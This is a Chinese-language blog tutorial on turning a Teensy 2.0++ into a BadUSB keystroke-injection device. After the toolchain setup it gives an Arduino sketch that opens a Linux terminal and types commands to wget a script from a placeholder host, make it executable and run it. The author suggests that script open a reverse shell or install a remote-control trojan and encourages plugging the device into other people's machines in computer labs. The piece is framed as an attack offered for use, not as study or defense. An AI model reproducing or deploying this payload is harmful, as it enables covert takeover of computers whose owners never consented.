[硬件]使用Teensy2.0++ 制作BadUSB渗透,插谁谁怀孕

0x01:环境及所需

在linux环境下实现的,windows下如何实现,应该差不多,只要装上所需的东西即可.

1.首先安装arduino开发工具,及arduino IDE,下载地址.https://pan.baidu.com/s/1mhL2TAS

在linux系统下,下载后直接解压这个文件到/opt/目录

 

2.下载 49-teensy.rules文件,该文件用于teensy插件以什么角色运行.

下载地址:https://pan.baidu.com/s/1hsI31cC

下载后,执行命令: sudo cp 49-teensy.rules /etc/udev/rules.d/

 

3.下载TeensyduinoInstall.linux64文件,这个相当于teensy在arduino的插件,有了它,你打开arduino的时候,可以看到teensy选项

下载地址:https://pan.baidu.com/s/1jICtMwm

下载后,执行chmod +x TeensyduinoInstall.linux64

然后打开这个程序进行安装,安装时,注意选择arduino的路径.即/opt/arduino-1.6.11/ 目录

 

3.启动arduino,直接在命令行执行 /opt/arduino-1.6.11/arduino 即可启动,或者手动切换到对应的目录下,启动即可.

0x02:工作原理及说明

1.就是根据teensy的脚本方式,写一段脚本,把要实现的功能写出来,然后通过arduino工具,将脚本写入teensy2.0++ 型号的U盘里.

插入电脑后,就会自动执行你写入的脚本.其实就是模拟键盘按键,执行相应的命令操作.

 

 

0x03:实际操作及脚本demo

1.先打开arduino,

teensy

有两个地方需要更改一下,

开发板选择Teensy2.0++

USB Type:”Keyboard+ Mouse + Joystick”

其他默认即可.

2.新建个脚本,然后开始写入.

提供一个linux下的demo

#define TYPESPEED 15

void setup()
{
delay(5000);
terminal();
delay(2000);
Keyboard.println(“wget http://xxx.xxx.xxx/linux.sh -O xxoo.sh”);
delay(40000);
Keyboard.println(“chmod +x xxoo.sh”);
Keyboard.println(“./xxoo.sh”);
delay(2000);
Keyboard.println(“exit”);

}

void loop()
{

}

void terminal()
{
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT);
Keyboard.send_now();
Keyboard.set_key1(KEY_T);
Keyboard.send_now();

delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

}

这个看的懂的话,会明白大概的意思就是,打开一个终端,然后在终端上下载一个脚本并执行.

至于这个脚本里是什么,自行意淫啊.例如反弹个端口,或者下载个远控并执行.等等….

3.写进teensy2.0++里面.

脚本写完以后,ctrl+s保存一下.

并点击arduino工具中的对号(勾),进行验证脚本是否存在问题,

没问题了,点击向右的箭头,即上传脚本到teensy2.0++里面,上传成功后,按一下teensy2.0++上的按钮.就OK了.

0x04:如何利用?

带上它,到机房,插谁谁怀孕,前提是Linux系统,windows系统的脚本,自行百度.

具体要实现什么功能,自己参照demo,如果你有更好的猥琐的姿势,可以告诉我….

Let me try=.=.

 


End

另:需要Teensy2.0++的联系我.